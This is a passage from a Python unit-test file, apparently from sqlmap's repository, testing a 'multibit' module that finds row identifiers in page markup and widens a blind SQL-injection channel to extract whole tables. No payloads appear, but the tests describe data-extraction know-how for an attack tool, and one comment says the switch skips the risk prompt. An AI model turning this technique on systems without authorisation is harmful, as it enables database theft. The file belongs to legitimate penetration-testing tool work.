<!doctype html><html><head><title>x</title></head><body>
|
||||
<header><div class='acct'>
|
||||
<a href='/setcurr.php?c=USD'>USD</a><a href='/setcurr.php?c=EUR'>EUR</a>
|
||||
<a href='/setlevel.php?l=low'>low</a><a href='/setlevel.php?l=high'>high</a>
|
||||
</div></header>
|
||||
<nav><a href='/category.php?cat=1'>A</a><a href='/category.php?cat=2'>B</a>
|
||||
<a href='/category.php?cat=3'>C</a><a href='/category.php?cat=4'>D</a>
|
||||
<a href='/category.php?cat=5'>E</a></nav>
|
||||
<main><div class='product'><h2>Quantum USB Cable</h2>
|
||||
<p class='price'>$9.99</p><p class='desc'>Transfers data before you even plug it in.</p>
|
||||
<a class='btn' href='/cart.php?add=1'>add to cart</a></div>
|
||||
<form method='post'><input type='hidden' name='product_id' value='1'>
|
||||
<label>name<input name='author'></label></form></main>
|
||||
<footer><p>demo shop</p></footer></body></html>
|
||||
"""
|
||||
|
||||
self.assertEqual(multibit._identifiers(page), {})
|
||||
|
||||
def test_identifiers_find_repeated_row_forms(self):
|
||||
# row identity hides in whatever markup the listing repeats: query strings, path segments,
|
||||
# data attributes and hidden form fields all count - but only when the value VARIES
|
||||
page = "".join(
|
||||
"<div class='item'><a href='/product/%d'>p</a><span data-pid='%d'>%d</span>" % (_, _, _) +
|
||||
"<input type='hidden' name='product_id' value='%d'>" % _ +
|
||||
"<a href='details.php?sku=%d'>x</a></div>" % _
|
||||
for _ in range(1, 6)) + "<div class='once'><a href='/cart.php?add=7'>y</a></div>"
|
||||
|
||||
found = multibit._identifiers(page)
|
||||
|
||||
self.assertEqual(found.get("product"), set(range(1, 6)))
|
||||
self.assertEqual(found.get("pid"), set(range(1, 6)))
|
||||
self.assertEqual(found.get("product_id"), set(range(1, 6)))
|
||||
self.assertEqual(found.get("sku"), set(range(1, 6)))
|
||||
self.assertNotIn("add", found) # a single value is page furniture, not a row id
|
||||
|
||||
def test_the_switch_takes_the_whole_table(self):
|
||||
# the switch IS the permission, so discovery goes for the wide channel first - no question,
|
||||
# whatever '--risk' says
|
||||
secret = "the switch is the permission to widen"
|
||||
value, _ = self._attempt(secret, len(secret))
|
||||
|
||||
self.assertEqual(value, secret)
|
||||
self.assertEqual(list(kb.multibit.values())[0]["mode"], MULTIBIT_WIDEN)
|
||||
|
||||
def test_hint_costs_nothing_and_states_the_width(self):
|
||||
# the nudge towards the switch is drawn from the page sqlmap already has, never from a probe
|
||||
conf.multiBit = False # the nudge is for a run that did NOT ask for it
|
||||
kb.originalPage = "".join("<div class='item'><a href='/product.php?id=%d'>p</a></div>" % _ for _ in range(1, 13))
|
||||
warned = []
|
||||
multibit.singleTimeWarnMessage = lambda message: warned.append(message)
|
||||
|
||||
try:
|
||||
multibit.hint()
|
||||
finally:
|
||||
multibit.singleTimeWarnMessage = _WARN
|
||||
|
||||
self.assertEqual(len(warned), 1)
|
||||
self.assertIn("12 rows", warned[0])
|
||||
self.assertIn("--multi-bit", warned[0])
|
||||
|
||||
def test_hint_stays_quiet_on_a_page_that_renders_no_rows(self):
|
||||
# the old trigger announced "the target lists rows" on the nav menu of a single-product DETAIL
|
||||
# page and asked the user to accept risk 3; the nudge may only follow REPEATED CONTENT markup
|
||||
conf.multiBit = False
|
||||
kb.originalPage = ("<html><body>"
|
||||
"<header><a href='/setcurr.php?c=USD'>USD</a><a href='/setcurr.php?c=EUR'>EUR</a></header>"
|
||||
"<nav><a href='/category.php?cat=1'>A</a><a href='/category.php?cat=2'>B</a>"
|
||||
"<a href='/category.php?cat=3'>C</a></nav>"
|
||||
"<main><div class='product'><h2>Quantum USB Cable</h2><p class='price'>$9.99</p>"
|
||||
"<input type='hidden' name='product_id' value='1'></div></main></body></html>")
|
||||
multibit.singleTimeWarnMessage = lambda message: self.fail("hinted at a detail page: %s" % message)
|
||||
|
||||
try:
|
||||
multibit.hint()
|
||||
finally:
|
||||
multibit.singleTimeWarnMessage = _WARN
|
||||
|
||||
def test_switch_on_an_unsupported_backend_says_so(self):
|
||||
# the bit arithmetic exists for five back-ends; asking for the switch on any other one has to
|
||||
# say why nothing happens instead of silently doing nothing
|
||||
set_dbms(DBMS.FIREBIRD)
|
||||
warned = []
|
||||
multibit.singleTimeWarnMessage = lambda message: warned.append(message)
|
||||
|
||||
try:
|
||||
multibit.hint()
|
||||
finally:
|
||||
multibit.singleTimeWarnMessage = _WARN
|
||||
|
||||
self.assertEqual(len(warned), 1)
|
||||
self.assertIn("not supported", warned[0])
|
||||
|
||||
def test_hint_stays_quiet_when_an_inband_channel_is_available(self):
|
||||
# UNION or error-based beats any row channel, so nudging towards this one would be noise
|
||||
conf.multiBit = False
|
||||
kb.originalPage = "".join("<div class='item'><a href='/product.php?id=%d'>p</a></div>" % _ for _ in range(1, 13))
|
||||
kb.injection.data[PAYLOAD.TECHNIQUE.UNION] = {}
|
||||
multibit.singleTimeWarnMessage = lambda message: self.fail("hinted over an in-band channel: %s" % message)
|
||||
|
||||
try:
|
||||
multibit.hint()
|
||||
finally:
|
||||
multibit.singleTimeWarnMessage = _WARN
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
Reference in New Issue
Block a user